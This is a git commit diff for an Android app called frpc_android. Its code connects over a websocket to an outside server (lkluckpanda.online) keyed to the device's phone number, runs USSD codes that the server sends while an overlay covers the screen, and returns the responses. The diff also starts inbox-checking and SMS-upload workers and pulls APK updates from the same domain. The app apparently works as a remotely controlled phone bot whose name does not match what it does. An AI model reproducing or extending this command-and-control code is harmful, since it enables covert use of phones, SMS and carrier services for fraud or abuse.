hxMac 1 year ago
parent
commit
079a110b8f

+ 3 - 3
frpc_android-master/app/build.gradle

@@ -10,7 +10,7 @@ android {
             dimension "baseUrl"
             dimension "baseUrl"
             buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
             buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
             buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
-            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user1/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
         }
         }
@@ -54,8 +54,8 @@ android {
         applicationId "com.car.frpc_android"
         applicationId "com.car.frpc_android"
         minSdkVersion 23
         minSdkVersion 23
         targetSdkVersion 31
         targetSdkVersion 31
-        versionCode 16
-        versionName "0.39.4.8"
+        versionCode 20
+        versionName "0.39.5.0"
         multiDexEnabled true
         multiDexEnabled true
         ndk {
         ndk {
             abiFilters 'armeabi-v8a','armeabi-v7a'
             abiFilters 'armeabi-v8a','armeabi-v7a'

+ 2 - 2
frpc_android-master/app/src/main/java/com/car/MainApp.java

@@ -15,6 +15,7 @@ import org.xutils.x;
 
 
 public class MainApp extends MultiDexApplication {
 public class MainApp extends MultiDexApplication {
 
 
+    public static String webSocketStatus = "";
     @Override
     @Override
     public void onCreate() {
     public void onCreate() {
         super.onCreate();
         super.onCreate();
@@ -22,8 +23,7 @@ public class MainApp extends MultiDexApplication {
         x.Ext.init(this);
         x.Ext.init(this);
         x.Ext.setDebug(BuildConfig.DEBUG);
         x.Ext.setDebug(BuildConfig.DEBUG);
         AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
         AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
-        CheckInboxWorker.start();
-        HeartbeatWorker.start();
+
         WebSocketManager.connectWebSocket();
         WebSocketManager.connectWebSocket();
     }
     }
 
 

+ 2 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/dialog/UploadAppDialog.java

@@ -18,6 +18,7 @@ import androidx.core.content.FileProvider;
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.alibaba.fastjson.JSONObject;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.BuildConfig;
 import com.car.frpc_android.BuildConfig;
@@ -63,7 +64,7 @@ public class UploadAppDialog extends Dialog implements View.OnClickListener {
             show();
             show();
         } else {
         } else {
             if (toast) {
             if (toast) {
-                ToastUtils.showLong(R.string.uplaod_null_tip);
+                ToastUtils.showLong(AppUtils.getAppVersionName() + StringUtils.getString(R.string.uplaod_null_tip));
             }
             }
         }
         }
 
 

+ 8 - 203
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/MainActivity.java

@@ -1,6 +1,5 @@
 package com.car.frpc_android.ui;
 package com.car.frpc_android.ui;
 
 
-import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
 import static com.car.frpc_android.Config.BREATH_TAG;
 import static com.car.frpc_android.Config.BREATH_TAG;
 import static com.car.frpc_android.Config.INTENT_EDIT_INI;
 import static com.car.frpc_android.Config.INTENT_EDIT_INI;
 import static com.car.frpc_android.Config.PHONE_TAG;
 import static com.car.frpc_android.Config.PHONE_TAG;
@@ -9,7 +8,6 @@ import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
 
 
 import android.content.Context;
 import android.content.Context;
 import android.content.Intent;
 import android.content.Intent;
-import android.os.Handler;
 import android.view.Menu;
 import android.view.Menu;
 import android.view.MenuItem;
 import android.view.MenuItem;
 
 
@@ -19,11 +17,6 @@ import androidx.navigation.Navigation;
 import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.NavigationUI;
 import androidx.navigation.ui.NavigationUI;
 
 
-import com.alibaba.fastjson.JSON;
-import com.alibaba.fastjson.JSONObject;
-import com.blankj.utilcode.util.GsonUtils;
-import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.TimeUtils;
 import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.R;
 import com.car.frpc_android.R;
 import com.car.frpc_android.database.Config;
 import com.car.frpc_android.database.Config;
@@ -33,50 +26,21 @@ import com.car.frpc_android.util.CheckInboxWorker;
 import com.car.frpc_android.util.CommonUtils;
 import com.car.frpc_android.util.CommonUtils;
 import com.car.frpc_android.util.HeartbeatWorker;
 import com.car.frpc_android.util.HeartbeatWorker;
 import com.car.frpc_android.util.HxUtils;
 import com.car.frpc_android.util.HxUtils;
+import com.car.frpc_android.util.WebSocketManager;
 import com.google.android.material.navigation.NavigationView;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.jeremyliao.liveeventbus.LiveEventBus;
-import com.romellfudi.ussdlibrary.OverlayShowingService;
-import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
 import com.romellfudi.ussdlibrary.USSDController;
 
 
-import java.util.HashMap;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ScheduledExecutorService;
-import java.util.concurrent.ScheduledFuture;
-import java.util.concurrent.TimeUnit;
-
 import io.reactivex.Observer;
 import io.reactivex.Observer;
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.disposables.Disposable;
 import io.reactivex.disposables.Disposable;
 import io.reactivex.schedulers.Schedulers;
 import io.reactivex.schedulers.Schedulers;
-import okhttp3.OkHttpClient;
-import okhttp3.Request;
-import okhttp3.Response;
-import okhttp3.WebSocket;
-import okhttp3.WebSocketListener;
 
 
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 
 
-
     private AppBarConfiguration mAppBarConfiguration;
     private AppBarConfiguration mAppBarConfiguration;
-
     private Context context = this;
     private Context context = this;
 
 
-    //ussd
-    private USSDApi ussdApi;
-
-    //webSocket
-    private WebSocketListener webSocketListener;
-    private OkHttpClient client;
-    private WebSocket webSocket;
-    private Request request;
-    private static final int NORMAL_CLOSURE_STATUS = 1000;
-    private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
-    private Intent svc = null;
-    private ScheduledFuture<?> reconnectTask;
-    private ScheduledExecutorService executorService;
-
-
     private androidx.lifecycle.Observer<String> observer2;
     private androidx.lifecycle.Observer<String> observer2;
     private androidx.lifecycle.Observer<String> observer3;
     private androidx.lifecycle.Observer<String> observer3;
     private androidx.lifecycle.Observer<String> observer4;
     private androidx.lifecycle.Observer<String> observer4;
@@ -93,10 +57,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         NavigationUI.setupActionBarWithNavController(this, navController, mAppBarConfiguration);
         NavigationUI.setupActionBarWithNavController(this, navController, mAppBarConfiguration);
         NavigationUI.setupWithNavController(b.navView, navController);
         NavigationUI.setupWithNavController(b.navView, navController);
         b.navView.setNavigationItemSelectedListener(this);
         b.navView.setNavigationItemSelectedListener(this);
-        ussdApi = USSDController.getInstance(context);
-
-//        connectSocket();
-
         b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
         b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
             DialogManager.phoneEditDialog();
             DialogManager.phoneEditDialog();
         });
         });
@@ -104,15 +64,21 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         observer2 = s -> b.appBarMain.contentMain.workTv.setText(s);
         observer2 = s -> b.appBarMain.contentMain.workTv.setText(s);
         observer3 = s -> b.appBarMain.contentMain.workTv2.setText(s);
         observer3 = s -> b.appBarMain.contentMain.workTv2.setText(s);
         observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
         observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
-        observer5 = s -> b.appBarMain.contentMain.phoneTv.setText(s);
+        observer5 = s -> {
+            b.appBarMain.contentMain.phoneTv.setText(s);
+            WebSocketManager.closeWebSocket();
+        };
 
 
         LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
         LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, observer3);
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, observer3);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observeSticky(this, observer4);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observeSticky(this, observer4);
         LiveEventBus.get(PHONE_TAG, String.class).observe(this, observer5);
         LiveEventBus.get(PHONE_TAG, String.class).observe(this, observer5);
         b.appBarMain.contentMain.phoneTv.setText(getPhone());
         b.appBarMain.contentMain.phoneTv.setText(getPhone());
+        CheckInboxWorker.start();
+        HeartbeatWorker.start();
         startForegroundService();
         startForegroundService();
         checkForUpdate();
         checkForUpdate();
+        HxUtils.checkForUpdateBotConfig();
     }
     }
 
 
     @Override
     @Override
@@ -195,165 +161,4 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
     }
 
 
 
 
-    public void pendingServiceIntent(Intent overlayService) {
-        startService(overlayService);
-        new Handler().postDelayed(() -> stopService(overlayService), 5 * 60000);
-    }
-
-    //发起ussd命令
-    private void callOverlay(String ussd, String request_id) {
-        if (USSDController.verifyOverLay(this)) {
-            if (null != svc) {
-                stopService(svc);
-            }
-            svc = new Intent(this, OverlayShowingService.class);
-            svc.putExtra(OverlayShowingService.EXTRA, getString(R.string.action_ussd_msg));
-            pendingServiceIntent(svc);
-
-            ussdApi.callUSSDOverlayInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
-                @Override
-                public void responseInvoke(String message) {
-                    sendWebSocketMsg(request_id, "response", message);
-                }
-
-                @Override
-                public void over(String message) {
-                    sendWebSocketMsg(request_id, "over", message);
-                    stopService(svc);
-                }
-            });
-        } else {
-            sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
-        }
-
-
-    }
-
-    //发送ussd消息
-    private void sendUssd(String request_id, String msg) {
-        try {
-            ussdApi.send(msg, new USSDController.CallbackMessage() {
-                @Override
-                public void responseMessage(String message) {
-                    sendWebSocketMsg(request_id, "response", message);
-                }
-
-                @Override
-                public void over(String message) {
-                    sendWebSocketMsg(request_id, "over", message);
-                    if (null != svc)
-                        stopService(svc);
-
-
-                }
-            });
-        } catch (Exception e) {
-            sendWebSocketMsg(request_id, "exception", e.getMessage());
-        }
-    }
-
-    private void sendWebSocketMsg(String request_id, String return_type, String message) {
-        HashMap map = new HashMap();
-        map.put("request_id", request_id);
-        map.put("return_type", return_type);
-        map.put("message", message);
-        webSocket.send(GsonUtils.toJson(map));
-    }
-
-    //结束本次ussd命令
-    private void cancelUssd(String request_id) {
-        try {
-            ussdApi.cancel();
-            sendWebSocketMsg(request_id, "cancel", "cancel");
-        } catch (Exception e) {
-            sendWebSocketMsg(request_id, "exception", e.getMessage());
-        }
-
-    }
-
-
-    private void connectSocket() {
-        client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
-        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
-        request = new Request.Builder().url(Url).build();
-        webSocketListener = new WebSocketListener() {
-            @Override
-            public void onOpen(WebSocket webSocket, Response response) {
-                super.onOpen(webSocket, response);
-                ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket opened."));
-            }
-
-            @Override
-            public void onMessage(WebSocket webSocket, String text) {
-                super.onMessage(webSocket, text);
-                //收到消息
-                JSONObject json = JSON.parseObject(text);
-                String command = json.getString("command");
-                String requestId = json.getString("request_id");
-                String ussdCode = json.getString("value");
-                switch (command) {
-                    //发起ussd拨号
-                    case "invoke":
-                        ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
-                        break;
-                    //发送ussd信息
-                    case "send":
-                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
-                        break;
-                    //撤销ussd拨号
-                    case "cancel":
-                        ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
-                        break;
-                }
-            }
-
-            @Override
-            public void onClosing(WebSocket webSocket, int code, String reason) {
-                super.onClosing(webSocket, code, reason);
-                try {
-                    ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket closing." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
-                } catch (Exception e) {
-
-                } finally {
-                    webSocket.close(code, reason);
-                }
-            }
-
-            @Override
-            public void onClosed(WebSocket webSocket, int code, String reason) {
-                super.onClosed(webSocket, code, reason);
-                try {
-                    ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket closed.[" + reason + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
-                } catch (Exception e) {
-
-                } finally {
-                    reconnectWebSocket();
-                }
-            }
-
-            @Override
-            public void onFailure(WebSocket webSocket, Throwable t, Response response) {
-                super.onFailure(webSocket, t, response);
-                try {
-                    ThreadUtils.runOnUiThread(() -> b.appBarMain.contentMain.workTv2.setText("Websocket Failure.[" + t.getMessage() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm:ss"))));
-                } catch (Exception e) {
-
-                } finally {
-                    reconnectWebSocket();
-                }
-
-            }
-        };
-
-        webSocket = client.newWebSocket(request, webSocketListener);
-
-    }
-
-    private void reconnectWebSocket() {
-        if (reconnectTask != null && !reconnectTask.isDone()) {
-            reconnectTask.cancel(true);
-        }
-        executorService = Executors.newSingleThreadScheduledExecutor();
-        reconnectTask = executorService.schedule(() -> connectSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
-    }
 }
 }

+ 49 - 25
frpc_android-master/app/src/main/java/com/car/frpc_android/util/WebSocketManager.java

@@ -38,29 +38,24 @@ import okhttp3.WebSocketListener;
  */
  */
 public final class WebSocketManager {
 public final class WebSocketManager {
     private static WebSocketListener webSocketListener;
     private static WebSocketListener webSocketListener;
-    private static OkHttpClient client;
+    private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
     private static WebSocket webSocket;
     private static WebSocket webSocket;
-    private static Request request;
     private static ScheduledFuture<?> reconnectTask;
     private static ScheduledFuture<?> reconnectTask;
-    private static ScheduledExecutorService executorService;
+    private static ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
+    private static ScheduledExecutorService executorServiceUi = Executors.newSingleThreadScheduledExecutor();
+
     private static Intent svc = null;
     private static Intent svc = null;
-    private static USSDApi ussdApi;
-    private static boolean isConnecting = false;
     private static final int NORMAL_CLOSURE_STATUS = 1000;
     private static final int NORMAL_CLOSURE_STATUS = 1000;
     private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
     private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
 
 
 
 
     public static WebSocket connectWebSocket() {
     public static WebSocket connectWebSocket() {
-        ussdApi = USSDController.getInstance(Utils.getApp());
-        client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
-        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
-        request = new Request.Builder().url(Url).build();
+        Log.i(Config.LOG_TAG, "Start connect webSocket.");
         webSocketListener = new WebSocketListener() {
         webSocketListener = new WebSocketListener() {
             @Override
             @Override
             public void onOpen(WebSocket webSocket, Response response) {
             public void onOpen(WebSocket webSocket, Response response) {
                 super.onOpen(webSocket, response);
                 super.onOpen(webSocket, response);
-                Log.i(Config.LOG_TAG, "WebSocket open.");
-                isConnecting = true;
+                Log.i(Config.LOG_TAG, "WebSocket open. url = " + webSocket.request().url());
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
             }
             }
 
 
@@ -102,7 +97,6 @@ public final class WebSocketManager {
             @Override
             @Override
             public void onClosed(WebSocket webSocket, int code, String reason) {
             public void onClosed(WebSocket webSocket, int code, String reason) {
                 super.onClosed(webSocket, code, reason);
                 super.onClosed(webSocket, code, reason);
-                isConnecting = false;
                 reconnectWebSocket();
                 reconnectWebSocket();
                 Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
                 Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
@@ -112,13 +106,23 @@ public final class WebSocketManager {
             @Override
             @Override
             public void onFailure(WebSocket webSocket, Throwable t, Response response) {
             public void onFailure(WebSocket webSocket, Throwable t, Response response) {
                 super.onFailure(webSocket, t, response);
                 super.onFailure(webSocket, t, response);
-                isConnecting = false;
                 reconnectWebSocket();
                 reconnectWebSocket();
                 Log.e(Config.LOG_TAG, "WebSocket failure.", t);
                 Log.e(Config.LOG_TAG, "WebSocket failure.", t);
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
                 LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
             }
             }
         };
         };
-        webSocket = client.newWebSocket(request, webSocketListener);
+        executorServiceUi.execute(() -> {
+                    try {
+                        OkHttpClient client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
+                        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
+                        Request request = new Request.Builder().url(Url).build();
+                        webSocket = client.newWebSocket(request, webSocketListener);
+                    } catch (Exception e) {
+                        Log.e(Config.LOG_TAG, "WebSocket error.", e);
+                    }
+                }
+        );
+
         return webSocket;
         return webSocket;
     }
     }
 
 
@@ -126,7 +130,6 @@ public final class WebSocketManager {
         if (reconnectTask != null && !reconnectTask.isDone()) {
         if (reconnectTask != null && !reconnectTask.isDone()) {
             reconnectTask.cancel(true);
             reconnectTask.cancel(true);
         }
         }
-        executorService = Executors.newSingleThreadScheduledExecutor();
         reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
         reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
     }
     }
 
 
@@ -160,7 +163,11 @@ public final class WebSocketManager {
 
 
     private static void pendingServiceIntent(Intent overlayService) {
     private static void pendingServiceIntent(Intent overlayService) {
         Utils.getApp().startService(overlayService);
         Utils.getApp().startService(overlayService);
-        new Handler().postDelayed(() -> Utils.getApp().stopService(overlayService), 5 * 60000);
+        new Handler().postDelayed(() -> {
+            if (overlayService != null) {
+                Utils.getApp().stopService(overlayService);
+            }
+        }, 5 * 60000);
     }
     }
 
 
     private static void sendUssd(String request_id, String msg) {
     private static void sendUssd(String request_id, String msg) {
@@ -188,7 +195,8 @@ public final class WebSocketManager {
         map.put("request_id", request_id);
         map.put("request_id", request_id);
         map.put("return_type", return_type);
         map.put("return_type", return_type);
         map.put("message", message);
         map.put("message", message);
-        webSocket.send(GsonUtils.toJson(map));
+        sendMessage(GsonUtils.toJson(map));
+
     }
     }
 
 
     private static void cancelUssd(String request_id) {
     private static void cancelUssd(String request_id) {
@@ -201,14 +209,30 @@ public final class WebSocketManager {
 
 
     }
     }
 
 
-    private static void closeWebSocket() {
-        try {
-            if (webSocket != null) {
-                webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
-            }
-        } catch (Exception e) {
-
-        }
+    public static void closeWebSocket() {
+        executorServiceUi.execute(() -> {
+                    try {
+                        if (webSocket != null) {
+                            Log.d(Config.LOG_TAG, "closeWebSocket() called:" + webSocket.request().url());
+                            webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
+                        }
+                    } catch (Exception e) {
+                        Log.e(Config.LOG_TAG, "Close webSocket error.", e);
+                    }
+                }
+        );
+    }
 
 
+    public static void sendMessage(String msg) {
+        executorServiceUi.execute(() -> {
+                    try {
+                        if (webSocket != null) {
+                            webSocket.send(msg);
+                        }
+                    } catch (Exception e) {
+                        Log.e(Config.LOG_TAG, "Send message error.", e);
+                    }
+                }
+        );
     }
     }
 }
 }